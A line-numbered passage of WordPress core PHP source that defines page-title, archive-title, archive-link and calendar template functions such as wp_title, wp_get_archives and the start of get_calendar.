1069 if ( ! current_theme_supports( 'title-tag' ) ) {
1070 return;
1071 }
1072
1073 echo '<title>' . wp_get_document_title() . '</title>' . "\n";
1074}
1075
1076/**
1077 * Display or retrieve page title for all areas of blog.
1078 *
1079 * By default, the page title will display the separator before the page title,
1080 * so that the blog title will be before the page title. This is not good for
1081 * title display, since the blog title shows up on most tabs and not what is
1082 * important, which is the page that the user is looking at.
1083 *
1084 * There are also SEO benefits to having the blog title after or to the 'right'
1085 * of the page title. However, it is mostly common sense to have the blog title
1086 * to the right with most browsers supporting tabs. You can achieve this by
1087 * using the seplocation parameter and setting the value to 'right'. This change
1088 * was introduced around 2.5.0, in case backward compatibility of themes is
1089 * important.
1090 *
1091 * @since 1.0.0
1092 *
1093 * @global WP_Locale $wp_locale
1094 *
1095 * @param string $sep Optional, default is '»'. How to separate the various items
1096 * within the page title.
1097 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1098 * @param string $seplocation Optional. Direction to display title, 'right'.
1099 * @return string|null String on retrieve, null when displaying.
1100 */
1101function wp_title( $sep = '»', $display = true, $seplocation = '' ) {
1102 global $wp_locale;
1103
1104 $m = get_query_var( 'm' );
1105 $year = get_query_var( 'year' );
1106 $monthnum = get_query_var( 'monthnum' );
1107 $day = get_query_var( 'day' );
1108 $search = get_query_var( 's' );
1109 $title = '';
1110
1111 $t_sep = '%WP_TITLE_SEP%'; // Temporary separator, for accurate flipping, if necessary
1112
1113 // If there is a post
1114 if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
1115 $title = single_post_title( '', false );
1116 }
1117
1118 // If there's a post type archive
1119 if ( is_post_type_archive() ) {
1120 $post_type = get_query_var( 'post_type' );
1121 if ( is_array( $post_type ) ) {
1122 $post_type = reset( $post_type );
1123 }
1124 $post_type_object = get_post_type_object( $post_type );
1125 if ( ! $post_type_object->has_archive ) {
1126 $title = post_type_archive_title( '', false );
1127 }
1128 }
1129
1130 // If there's a category or tag
1131 if ( is_category() || is_tag() ) {
1132 $title = single_term_title( '', false );
1133 }
1134
1135 // If there's a taxonomy
1136 if ( is_tax() ) {
1137 $term = get_queried_object();
1138 if ( $term ) {
1139 $tax = get_taxonomy( $term->taxonomy );
1140 $title = single_term_title( $tax->labels->name . $t_sep, false );
1141 }
1142 }
1143
1144 // If there's an author
1145 if ( is_author() && ! is_post_type_archive() ) {
1146 $author = get_queried_object();
1147 if ( $author ) {
1148 $title = $author->display_name;
1149 }
1150 }
1151
1152 // Post type archives with has_archive should override terms.
1153 if ( is_post_type_archive() && $post_type_object->has_archive ) {
1154 $title = post_type_archive_title( '', false );
1155 }
1156
1157 // If there's a month
1158 if ( is_archive() && ! empty( $m ) ) {
1159 $my_year = substr( $m, 0, 4 );
1160 $my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
1161 $my_day = intval( substr( $m, 6, 2 ) );
1162 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
1163 }
1164
1165 // If there's a year
1166 if ( is_archive() && ! empty( $year ) ) {
1167 $title = $year;
1168 if ( ! empty( $monthnum ) ) {
1169 $title .= $t_sep . $wp_locale->get_month( $monthnum );
1170 }
1171 if ( ! empty( $day ) ) {
1172 $title .= $t_sep . zeroise( $day, 2 );
1173 }
1174 }
1175
1176 // If it's a search
1177 if ( is_search() ) {
1178 /* translators: 1: separator, 2: search phrase */
1179 $title = sprintf( __( 'Search Results %1$s %2$s' ), $t_sep, strip_tags( $search ) );
1180 }
1181
1182 // If it's a 404 page
1183 if ( is_404() ) {
1184 $title = __( 'Page not found' );
1185 }
1186
1187 $prefix = '';
1188 if ( ! empty( $title ) ) {
1189 $prefix = " $sep ";
1190 }
1191
1192 /**
1193 * Filters the parts of the page title.
1194 *
1195 * @since 4.0.0
1196 *
1197 * @param array $title_array Parts of the page title.
1198 */
1199 $title_array = apply_filters( 'wp_title_parts', explode( $t_sep, $title ) );
1200
1201 // Determines position of the separator and direction of the breadcrumb
1202 if ( 'right' == $seplocation ) { // sep on right, so reverse the order
1203 $title_array = array_reverse( $title_array );
1204 $title = implode( " $sep ", $title_array ) . $prefix;
1205 } else {
1206 $title = $prefix . implode( " $sep ", $title_array );
1207 }
1208
1209 /**
1210 * Filters the text of the page title.
1211 *
1212 * @since 2.0.0
1213 *
1214 * @param string $title Page title.
1215 * @param string $sep Title separator.
1216 * @param string $seplocation Location of the separator (left or right).
1217 */
1218 $title = apply_filters( 'wp_title', $title, $sep, $seplocation );
1219
1220 // Send it out
1221 if ( $display ) {
1222 echo $title;
1223 } else {
1224 return $title;
1225 }
1226}
1227
1228/**
1229 * Display or retrieve page title for post.
1230 *
1231 * This is optimized for single.php template file for displaying the post title.
1232 *
1233 * It does not support placing the separator after the title, but by leaving the
1234 * prefix parameter empty, you can set the title separator manually. The prefix
1235 * does not automatically place a space between the prefix, so if there should
1236 * be a space, the parameter value will need to have it at the end.
1237 *
1238 * @since 0.71
1239 *
1240 * @param string $prefix Optional. What to display before the title.
1241 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1242 * @return string|void Title when retrieving.
1243 */
1244function single_post_title( $prefix = '', $display = true ) {
1245 $_post = get_queried_object();
1246
1247 if ( !isset($_post->post_title) )
1248 return;
1249
1250 /**
1251 * Filters the page title for a single post.
1252 *
1253 * @since 0.71
1254 *
1255 * @param string $_post_title The single post page title.
1256 * @param object $_post The current queried object as returned by get_queried_object().
1257 */
1258 $title = apply_filters( 'single_post_title', $_post->post_title, $_post );
1259 if ( $display )
1260 echo $prefix . $title;
1261 else
1262 return $prefix . $title;
1263}
1264
1265/**
1266 * Display or retrieve title for a post type archive.
1267 *
1268 * This is optimized for archive.php and archive-{$post_type}.php template files
1269 * for displaying the title of the post type.
1270 *
1271 * @since 3.1.0
1272 *
1273 * @param string $prefix Optional. What to display before the title.
1274 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1275 * @return string|void Title when retrieving, null when displaying or failure.
1276 */
1277function post_type_archive_title( $prefix = '', $display = true ) {
1278 if ( ! is_post_type_archive() )
1279 return;
1280
1281 $post_type = get_query_var( 'post_type' );
1282 if ( is_array( $post_type ) )
1283 $post_type = reset( $post_type );
1284
1285 $post_type_obj = get_post_type_object( $post_type );
1286
1287 /**
1288 * Filters the post type archive title.
1289 *
1290 * @since 3.1.0
1291 *
1292 * @param string $post_type_name Post type 'name' label.
1293 * @param string $post_type Post type.
1294 */
1295 $title = apply_filters( 'post_type_archive_title', $post_type_obj->labels->name, $post_type );
1296
1297 if ( $display )
1298 echo $prefix . $title;
1299 else
1300 return $prefix . $title;
1301}
1302
1303/**
1304 * Display or retrieve page title for category archive.
1305 *
1306 * Useful for category template files for displaying the category page title.
1307 * The prefix does not automatically place a space between the prefix, so if
1308 * there should be a space, the parameter value will need to have it at the end.
1309 *
1310 * @since 0.71
1311 *
1312 * @param string $prefix Optional. What to display before the title.
1313 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1314 * @return string|void Title when retrieving.
1315 */
1316function single_cat_title( $prefix = '', $display = true ) {
1317 return single_term_title( $prefix, $display );
1318}
1319
1320/**
1321 * Display or retrieve page title for tag post archive.
1322 *
1323 * Useful for tag template files for displaying the tag page title. The prefix
1324 * does not automatically place a space between the prefix, so if there should
1325 * be a space, the parameter value will need to have it at the end.
1326 *
1327 * @since 2.3.0
1328 *
1329 * @param string $prefix Optional. What to display before the title.
1330 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1331 * @return string|void Title when retrieving.
1332 */
1333function single_tag_title( $prefix = '', $display = true ) {
1334 return single_term_title( $prefix, $display );
1335}
1336
1337/**
1338 * Display or retrieve page title for taxonomy term archive.
1339 *
1340 * Useful for taxonomy term template files for displaying the taxonomy term page title.
1341 * The prefix does not automatically place a space between the prefix, so if there should
1342 * be a space, the parameter value will need to have it at the end.
1343 *
1344 * @since 3.1.0
1345 *
1346 * @param string $prefix Optional. What to display before the title.
1347 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1348 * @return string|void Title when retrieving.
1349 */
1350function single_term_title( $prefix = '', $display = true ) {
1351 $term = get_queried_object();
1352
1353 if ( !$term )
1354 return;
1355
1356 if ( is_category() ) {
1357 /**
1358 * Filters the category archive page title.
1359 *
1360 * @since 2.0.10
1361 *
1362 * @param string $term_name Category name for archive being displayed.
1363 */
1364 $term_name = apply_filters( 'single_cat_title', $term->name );
1365 } elseif ( is_tag() ) {
1366 /**
1367 * Filters the tag archive page title.
1368 *
1369 * @since 2.3.0
1370 *
1371 * @param string $term_name Tag name for archive being displayed.
1372 */
1373 $term_name = apply_filters( 'single_tag_title', $term->name );
1374 } elseif ( is_tax() ) {
1375 /**
1376 * Filters the custom taxonomy archive page title.
1377 *
1378 * @since 3.1.0
1379 *
1380 * @param string $term_name Term name for archive being displayed.
1381 */
1382 $term_name = apply_filters( 'single_term_title', $term->name );
1383 } else {
1384 return;
1385 }
1386
1387 if ( empty( $term_name ) )
1388 return;
1389
1390 if ( $display )
1391 echo $prefix . $term_name;
1392 else
1393 return $prefix . $term_name;
1394}
1395
1396/**
1397 * Display or retrieve page title for post archive based on date.
1398 *
1399 * Useful for when the template only needs to display the month and year,
1400 * if either are available. The prefix does not automatically place a space
1401 * between the prefix, so if there should be a space, the parameter value
1402 * will need to have it at the end.
1403 *
1404 * @since 0.71
1405 *
1406 * @global WP_Locale $wp_locale
1407 *
1408 * @param string $prefix Optional. What to display before the title.
1409 * @param bool $display Optional, default is true. Whether to display or retrieve title.
1410 * @return string|void Title when retrieving.
1411 */
1412function single_month_title($prefix = '', $display = true ) {
1413 global $wp_locale;
1414
1415 $m = get_query_var('m');
1416 $year = get_query_var('year');
1417 $monthnum = get_query_var('monthnum');
1418
1419 if ( !empty($monthnum) && !empty($year) ) {
1420 $my_year = $year;
1421 $my_month = $wp_locale->get_month($monthnum);
1422 } elseif ( !empty($m) ) {
1423 $my_year = substr($m, 0, 4);
1424 $my_month = $wp_locale->get_month(substr($m, 4, 2));
1425 }
1426
1427 if ( empty($my_month) )
1428 return false;
1429
1430 $result = $prefix . $my_month . $prefix . $my_year;
1431
1432 if ( !$display )
1433 return $result;
1434 echo $result;
1435}
1436
1437/**
1438 * Display the archive title based on the queried object.
1439 *
1440 * @since 4.1.0
1441 *
1442 * @see get_the_archive_title()
1443 *
1444 * @param string $before Optional. Content to prepend to the title. Default empty.
1445 * @param string $after Optional. Content to append to the title. Default empty.
1446 */
1447function the_archive_title( $before = '', $after = '' ) {
1448 $title = get_the_archive_title();
1449
1450 if ( ! empty( $title ) ) {
1451 echo $before . $title . $after;
1452 }
1453}
1454
1455/**
1456 * Retrieve the archive title based on the queried object.
1457 *
1458 * @since 4.1.0
1459 *
1460 * @return string Archive title.
1461 */
1462function get_the_archive_title() {
1463 if ( is_category() ) {
1464 $title = sprintf( __( 'Category: %s' ), single_cat_title( '', false ) );
1465 } elseif ( is_tag() ) {
1466 $title = sprintf( __( 'Tag: %s' ), single_tag_title( '', false ) );
1467 } elseif ( is_author() ) {
1468 $title = sprintf( __( 'Author: %s' ), '<span class="vcard">' . get_the_author() . '</span>' );
1469 } elseif ( is_year() ) {
1470 $title = sprintf( __( 'Year: %s' ), get_the_date( _x( 'Y', 'yearly archives date format' ) ) );
1471 } elseif ( is_month() ) {
1472 $title = sprintf( __( 'Month: %s' ), get_the_date( _x( 'F Y', 'monthly archives date format' ) ) );
1473 } elseif ( is_day() ) {
1474 $title = sprintf( __( 'Day: %s' ), get_the_date( _x( 'F j, Y', 'daily archives date format' ) ) );
1475 } elseif ( is_tax( 'post_format' ) ) {
1476 if ( is_tax( 'post_format', 'post-format-aside' ) ) {
1477 $title = _x( 'Asides', 'post format archive title' );
1478 } elseif ( is_tax( 'post_format', 'post-format-gallery' ) ) {
1479 $title = _x( 'Galleries', 'post format archive title' );
1480 } elseif ( is_tax( 'post_format', 'post-format-image' ) ) {
1481 $title = _x( 'Images', 'post format archive title' );
1482 } elseif ( is_tax( 'post_format', 'post-format-video' ) ) {
1483 $title = _x( 'Videos', 'post format archive title' );
1484 } elseif ( is_tax( 'post_format', 'post-format-quote' ) ) {
1485 $title = _x( 'Quotes', 'post format archive title' );
1486 } elseif ( is_tax( 'post_format', 'post-format-link' ) ) {
1487 $title = _x( 'Links', 'post format archive title' );
1488 } elseif ( is_tax( 'post_format', 'post-format-status' ) ) {
1489 $title = _x( 'Statuses', 'post format archive title' );
1490 } elseif ( is_tax( 'post_format', 'post-format-audio' ) ) {
1491 $title = _x( 'Audio', 'post format archive title' );
1492 } elseif ( is_tax( 'post_format', 'post-format-chat' ) ) {
1493 $title = _x( 'Chats', 'post format archive title' );
1494 }
1495 } elseif ( is_post_type_archive() ) {
1496 $title = sprintf( __( 'Archives: %s' ), post_type_archive_title( '', false ) );
1497 } elseif ( is_tax() ) {
1498 $tax = get_taxonomy( get_queried_object()->taxonomy );
1499 /* translators: 1: Taxonomy singular name, 2: Current taxonomy term */
1500 $title = sprintf( __( '%1$s: %2$s' ), $tax->labels->singular_name, single_term_title( '', false ) );
1501 } else {
1502 $title = __( 'Archives' );
1503 }
1504
1505 /**
1506 * Filters the archive title.
1507 *
1508 * @since 4.1.0
1509 *
1510 * @param string $title Archive title to be displayed.
1511 */
1512 return apply_filters( 'get_the_archive_title', $title );
1513}
1514
1515/**
1516 * Display category, tag, or term description.
1517 *
1518 * @since 4.1.0
1519 *
1520 * @see get_the_archive_description()
1521 *
1522 * @param string $before Optional. Content to prepend to the description. Default empty.
1523 * @param string $after Optional. Content to append to the description. Default empty.
1524 */
1525function the_archive_description( $before = '', $after = '' ) {
1526 $description = get_the_archive_description();
1527 if ( $description ) {
1528 echo $before . $description . $after;
1529 }
1530}
1531
1532/**
1533 * Retrieve category, tag, or term description.
1534 *
1535 * @since 4.1.0
1536 *
1537 * @return string Archive description.
1538 */
1539function get_the_archive_description() {
1540 /**
1541 * Filters the archive description.
1542 *
1543 * @since 4.1.0
1544 *
1545 * @see term_description()
1546 *
1547 * @param string $description Archive description to be displayed.
1548 */
1549 return apply_filters( 'get_the_archive_description', term_description() );
1550}
1551
1552/**
1553 * Retrieve archive link content based on predefined or custom code.
1554 *
1555 * The format can be one of four styles. The 'link' for head element, 'option'
1556 * for use in the select element, 'html' for use in list (either ol or ul HTML
1557 * elements). Custom content is also supported using the before and after
1558 * parameters.
1559 *
1560 * The 'link' format uses the `<link>` HTML element with the **archives**
1561 * relationship. The before and after parameters are not used. The text
1562 * parameter is used to describe the link.
1563 *
1564 * The 'option' format uses the option HTML element for use in select element.
1565 * The value is the url parameter and the before and after parameters are used
1566 * between the text description.
1567 *
1568 * The 'html' format, which is the default, uses the li HTML element for use in
1569 * the list HTML elements. The before parameter is before the link and the after
1570 * parameter is after the closing link.
1571 *
1572 * The custom format uses the before parameter before the link ('a' HTML
1573 * element) and the after parameter after the closing link tag. If the above
1574 * three values for the format are not used, then custom format is assumed.
1575 *
1576 * @since 1.0.0
1577 *
1578 * @param string $url URL to archive.
1579 * @param string $text Archive text description.
1580 * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom.
1581 * @param string $before Optional. Content to prepend to the description. Default empty.
1582 * @param string $after Optional. Content to append to the description. Default empty.
1583 * @return string HTML link content for archive.
1584 */
1585function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') {
1586 $text = wptexturize($text);
1587 $url = esc_url($url);
1588
1589 if ('link' == $format)
1590 $link_html = "\t<link rel='archives' title='" . esc_attr( $text ) . "' href='$url' />\n";
1591 elseif ('option' == $format)
1592 $link_html = "\t<option value='$url'>$before $text $after</option>\n";
1593 elseif ('html' == $format)
1594 $link_html = "\t<li>$before<a href='$url'>$text</a>$after</li>\n";
1595 else // custom
1596 $link_html = "\t$before<a href='$url'>$text</a>$after\n";
1597
1598 /**
1599 * Filters the archive link content.
1600 *
1601 * @since 2.6.0
1602 * @since 4.5.0 Added the `$url`, `$text`, `$format`, `$before`, and `$after` parameters.
1603 *
1604 * @param string $link_html The archive HTML link content.
1605 * @param string $url URL to archive.
1606 * @param string $text Archive text description.
1607 * @param string $format Link format. Can be 'link', 'option', 'html', or custom.
1608 * @param string $before Content to prepend to the description.
1609 * @param string $after Content to append to the description.
1610 */
1611 return apply_filters( 'get_archives_link', $link_html, $url, $text, $format, $before, $after );
1612}
1613
1614/**
1615 * Display archive links based on type and format.
1616 *
1617 * @since 1.2.0
1618 * @since 4.4.0 $post_type arg was added.
1619 *
1620 * @see get_archives_link()
1621 *
1622 * @global wpdb $wpdb
1623 * @global WP_Locale $wp_locale
1624 *
1625 * @param string|array $args {
1626 * Default archive links arguments. Optional.
1627 *
1628 * @type string $type Type of archive to retrieve. Accepts 'daily', 'weekly', 'monthly',
1629 * 'yearly', 'postbypost', or 'alpha'. Both 'postbypost' and 'alpha'
1630 * display the same archive link list as well as post titles instead
1631 * of displaying dates. The difference between the two is that 'alpha'
1632 * will order by post title and 'postbypost' will order by post date.
1633 * Default 'monthly'.
1634 * @type string|int $limit Number of links to limit the query to. Default empty (no limit).
1635 * @type string $format Format each link should take using the $before and $after args.
1636 * Accepts 'link' (`<link>` tag), 'option' (`<option>` tag), 'html'
1637 * (`<li>` tag), or a custom format, which generates a link anchor
1638 * with $before preceding and $after succeeding. Default 'html'.
1639 * @type string $before Markup to prepend to the beginning of each link. Default empty.
1640 * @type string $after Markup to append to the end of each link. Default empty.
1641 * @type bool $show_post_count Whether to display the post count alongside the link. Default false.
1642 * @type bool|int $echo Whether to echo or return the links list. Default 1|true to echo.
1643 * @type string $order Whether to use ascending or descending order. Accepts 'ASC', or 'DESC'.
1644 * Default 'DESC'.
1645 * @type string $post_type Post type. Default 'post'.
1646 * }
1647 * @return string|void String when retrieving.
1648 */
1649function wp_get_archives( $args = '' ) {
1650 global $wpdb, $wp_locale;
1651
1652 $defaults = array(
1653 'type' => 'monthly', 'limit' => '',
1654 'format' => 'html', 'before' => '',
1655 'after' => '', 'show_post_count' => false,
1656 'echo' => 1, 'order' => 'DESC',
1657 'post_type' => 'post'
1658 );
1659
1660 $r = wp_parse_args( $args, $defaults );
1661
1662 $post_type_object = get_post_type_object( $r['post_type'] );
1663 if ( ! is_post_type_viewable( $post_type_object ) ) {
1664 return;
1665 }
1666 $r['post_type'] = $post_type_object->name;
1667
1668 if ( '' == $r['type'] ) {
1669 $r['type'] = 'monthly';
1670 }
1671
1672 if ( ! empty( $r['limit'] ) ) {
1673 $r['limit'] = absint( $r['limit'] );
1674 $r['limit'] = ' LIMIT ' . $r['limit'];
1675 }
1676
1677 $order = strtoupper( $r['order'] );
1678 if ( $order !== 'ASC' ) {
1679 $order = 'DESC';
1680 }
1681
1682 // this is what will separate dates on weekly archive links
1683 $archive_week_separator = '–';
1684
1685 $sql_where = $wpdb->prepare( "WHERE post_type = %s AND post_status = 'publish'", $r['post_type'] );
1686
1687 /**
1688 * Filters the SQL WHERE clause for retrieving archives.
1689 *
1690 * @since 2.2.0
1691 *
1692 * @param string $sql_where Portion of SQL query containing the WHERE clause.
1693 * @param array $r An array of default arguments.
1694 */
1695 $where = apply_filters( 'getarchives_where', $sql_where, $r );
1696
1697 /**
1698 * Filters the SQL JOIN clause for retrieving archives.
1699 *
1700 * @since 2.2.0
1701 *
1702 * @param string $sql_join Portion of SQL query containing JOIN clause.
1703 * @param array $r An array of default arguments.
1704 */
1705 $join = apply_filters( 'getarchives_join', '', $r );
1706
1707 $output = '';
1708
1709 $last_changed = wp_cache_get( 'last_changed', 'posts' );
1710 if ( ! $last_changed ) {
1711 $last_changed = microtime();
1712 wp_cache_set( 'last_changed', $last_changed, 'posts' );
1713 }
1714
1715 $limit = $r['limit'];
1716
1717 if ( 'monthly' == $r['type'] ) {
1718 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date $order $limit";
1719 $key = md5( $query );
1720 $key = "wp_get_archives:$key:$last_changed";
1721 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1722 $results = $wpdb->get_results( $query );
1723 wp_cache_set( $key, $results, 'posts' );
1724 }
1725 if ( $results ) {
1726 $after = $r['after'];
1727 foreach ( (array) $results as $result ) {
1728 $url = get_month_link( $result->year, $result->month );
1729 if ( 'post' !== $r['post_type'] ) {
1730 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1731 }
1732 /* translators: 1: month name, 2: 4-digit year */
1733 $text = sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $result->month ), $result->year );
1734 if ( $r['show_post_count'] ) {
1735 $r['after'] = ' (' . $result->posts . ')' . $after;
1736 }
1737 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1738 }
1739 }
1740 } elseif ( 'yearly' == $r['type'] ) {
1741 $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date $order $limit";
1742 $key = md5( $query );
1743 $key = "wp_get_archives:$key:$last_changed";
1744 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1745 $results = $wpdb->get_results( $query );
1746 wp_cache_set( $key, $results, 'posts' );
1747 }
1748 if ( $results ) {
1749 $after = $r['after'];
1750 foreach ( (array) $results as $result) {
1751 $url = get_year_link( $result->year );
1752 if ( 'post' !== $r['post_type'] ) {
1753 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1754 }
1755 $text = sprintf( '%d', $result->year );
1756 if ( $r['show_post_count'] ) {
1757 $r['after'] = ' (' . $result->posts . ')' . $after;
1758 }
1759 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1760 }
1761 }
1762 } elseif ( 'daily' == $r['type'] ) {
1763 $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date $order $limit";
1764 $key = md5( $query );
1765 $key = "wp_get_archives:$key:$last_changed";
1766 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1767 $results = $wpdb->get_results( $query );
1768 wp_cache_set( $key, $results, 'posts' );
1769 }
1770 if ( $results ) {
1771 $after = $r['after'];
1772 foreach ( (array) $results as $result ) {
1773 $url = get_day_link( $result->year, $result->month, $result->dayofmonth );
1774 if ( 'post' !== $r['post_type'] ) {
1775 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1776 }
1777 $date = sprintf( '%1$d-%2$02d-%3$02d 00:00:00', $result->year, $result->month, $result->dayofmonth );
1778 $text = mysql2date( get_option( 'date_format' ), $date );
1779 if ( $r['show_post_count'] ) {
1780 $r['after'] = ' (' . $result->posts . ')' . $after;
1781 }
1782 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1783 }
1784 }
1785 } elseif ( 'weekly' == $r['type'] ) {
1786 $week = _wp_mysql_week( '`post_date`' );
1787 $query = "SELECT DISTINCT $week AS `week`, YEAR( `post_date` ) AS `yr`, DATE_FORMAT( `post_date`, '%Y-%m-%d' ) AS `yyyymmdd`, count( `ID` ) AS `posts` FROM `$wpdb->posts` $join $where GROUP BY $week, YEAR( `post_date` ) ORDER BY `post_date` $order $limit";
1788 $key = md5( $query );
1789 $key = "wp_get_archives:$key:$last_changed";
1790 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1791 $results = $wpdb->get_results( $query );
1792 wp_cache_set( $key, $results, 'posts' );
1793 }
1794 $arc_w_last = '';
1795 if ( $results ) {
1796 $after = $r['after'];
1797 foreach ( (array) $results as $result ) {
1798 if ( $result->week != $arc_w_last ) {
1799 $arc_year = $result->yr;
1800 $arc_w_last = $result->week;
1801 $arc_week = get_weekstartend( $result->yyyymmdd, get_option( 'start_of_week' ) );
1802 $arc_week_start = date_i18n( get_option( 'date_format' ), $arc_week['start'] );
1803 $arc_week_end = date_i18n( get_option( 'date_format' ), $arc_week['end'] );
1804 $url = add_query_arg( array( 'm' => $arc_year, 'w' => $result->week, ), home_url( '/' ) );
1805 if ( 'post' !== $r['post_type'] ) {
1806 $url = add_query_arg( 'post_type', $r['post_type'], $url );
1807 }
1808 $text = $arc_week_start . $archive_week_separator . $arc_week_end;
1809 if ( $r['show_post_count'] ) {
1810 $r['after'] = ' (' . $result->posts . ')' . $after;
1811 }
1812 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1813 }
1814 }
1815 }
1816 } elseif ( ( 'postbypost' == $r['type'] ) || ('alpha' == $r['type'] ) ) {
1817 $orderby = ( 'alpha' == $r['type'] ) ? 'post_title ASC ' : 'post_date DESC, ID DESC ';
1818 $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit";
1819 $key = md5( $query );
1820 $key = "wp_get_archives:$key:$last_changed";
1821 if ( ! $results = wp_cache_get( $key, 'posts' ) ) {
1822 $results = $wpdb->get_results( $query );
1823 wp_cache_set( $key, $results, 'posts' );
1824 }
1825 if ( $results ) {
1826 foreach ( (array) $results as $result ) {
1827 if ( $result->post_date != '0000-00-00 00:00:00' ) {
1828 $url = get_permalink( $result );
1829 if ( $result->post_title ) {
1830 /** This filter is documented in wp-includes/post-template.php */
1831 $text = strip_tags( apply_filters( 'the_title', $result->post_title, $result->ID ) );
1832 } else {
1833 $text = $result->ID;
1834 }
1835 $output .= get_archives_link( $url, $text, $r['format'], $r['before'], $r['after'] );
1836 }
1837 }
1838 }
1839 }
1840 if ( $r['echo'] ) {
1841 echo $output;
1842 } else {
1843 return $output;
1844 }
1845}
1846
1847/**
1848 * Get number of days since the start of the week.
1849 *
1850 * @since 1.5.0
1851 *
1852 * @param int $num Number of day.
1853 * @return int Days since the start of the week.
1854 */
1855function calendar_week_mod($num) {
1856 $base = 7;
1857 return ($num - $base*floor($num/$base));
1858}
1859
1860/**
1861 * Display calendar with days that have posts as links.
1862 *
1863 * The calendar is cached, which will be retrieved, if it exists. If there are
1864 * no posts for the month, then it will not be displayed.
1865 *
1866 * @since 1.0.0
1867 *
1868 * @global wpdb $wpdb
1869 * @global int $m
1870 * @global int $monthnum
1871 * @global int $year
1872 * @global WP_Locale $wp_locale
1873 * @global array $posts
1874 *
1875 * @param bool $initial Optional, default is true. Use initial calendar names.
1876 * @param bool $echo Optional, default is true. Set to false for return.
1877 * @return string|void String when retrieving.
1878 */
1879function get_calendar( $initial = true, $echo = true ) {
1880 global $wpdb, $m, $monthnum, $year, $wp_locale, $posts;
1881
1882 $key = md5( $m . $monthnum . $year );
1883 $cache = wp_cache_get( 'get_calendar', 'calendar' );
1884
1885 if ( $cache && is_array( $cache ) && isset( $cache[ $key ] ) ) {
1886 /** This filter is documented in wp-includes/general-template.php */
1887 $output = apply_filters( 'get_calendar', $cache[ $key ] );
1888
1889 if ( $echo ) {
1890 echo $output;
1891 return;
1892 }
1893
1894 return $output;
1895 }
1896
1897 if ( ! is_array( $cache ) ) {
1898 $cache = array();
1899 }
1900
1901 // Quick check. If we have no posts at all, abort!
1902 if ( ! $posts ) {
1903 $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1");
1904 if ( ! $gotsome ) {
1905 $cache[ $key ] = '';
1906 wp_cache_set( 'get_calendar', $cache, 'calendar' );
1907 return;
1908 }
1909 }
1910
1911 if ( isset( $_GET['w'] ) ) {
1912 $w = (int) $_GET['w'];
1913 }
1914 // week_begins = 0 stands for Sunday
1915 $week_begins = (int) get_option( 'start_of_week' );
1916 $ts = current_time( 'timestamp' );
1917
1918 // Let's figure out when we are
1919 if ( ! empty( $monthnum ) && ! empty( $year ) ) {
1920 $thismonth = zeroise( intval( $monthnum ), 2 );
1921 $thisyear = (int) $year;
1922 } elseif ( ! empty( $w ) ) {
1923 // We need to get the month from MySQL
1924 $thisyear = (int) substr( $m, 0, 4 );
1925 //it seems MySQL's weeks disagree with PHP's
1926 $d = ( ( $w - 1 ) * 7 ) + 6;
1927 $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('{$thisyear}0101', INTERVAL $d DAY) ), '%m')");
1928 } elseif ( ! empty( $m ) ) {
1929 $thisyear = (int) substr( $m, 0, 4 );
1930 if ( strlen( $m ) < 6 ) {
1931 $thismonth = '01';
1932 } else {
1933 $thismonth = zeroise( (int) substr( $m, 4, 2 ), 2 );
1934 }
1935 } else {
1936 $thisyear = gmdate( 'Y', $ts );
1937 $thismonth = gmdate( 'm', $ts );
1938 }
1939
1940 $unixmonth = mktime( 0, 0 , 0, $thismonth, 1, $thisyear );
1941 $last_day = date( 't', $unixmonth );
1942
1943 // Get the next and previous month and year with at least one post
1944 $previous = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1945 FROM $wpdb->posts
1946 WHERE post_date < '$thisyear-$thismonth-01'
1947 AND post_type = 'post' AND post_status = 'publish'
1948 ORDER BY post_date DESC
1949 LIMIT 1");
1950 $next = $wpdb->get_row("SELECT MONTH(post_date) AS month, YEAR(post_date) AS year
1951 FROM $wpdb->posts
1952 WHERE post_date > '$thisyear-$thismonth-{$last_day} 23:59:59'
1953 AND post_type = 'post' AND post_status = 'publish'
1954 ORDER BY post_date ASC
1955 LIMIT 1");
1956
1957 /* translators: Calendar caption: 1: month name, 2: 4-digit year */
1958 $calendar_caption = _x('%1$s %2$s', 'calendar caption');
1959 $calendar_output = '<table id="wp-calendar">
1960 <caption>' . sprintf(
1961 $calendar_caption,
1962 $wp_locale->get_month( $thismonth ),
1963 date( 'Y', $unixmonth )
1964 ) . '</caption>
1965 <thead>
1966 <tr>';
1967
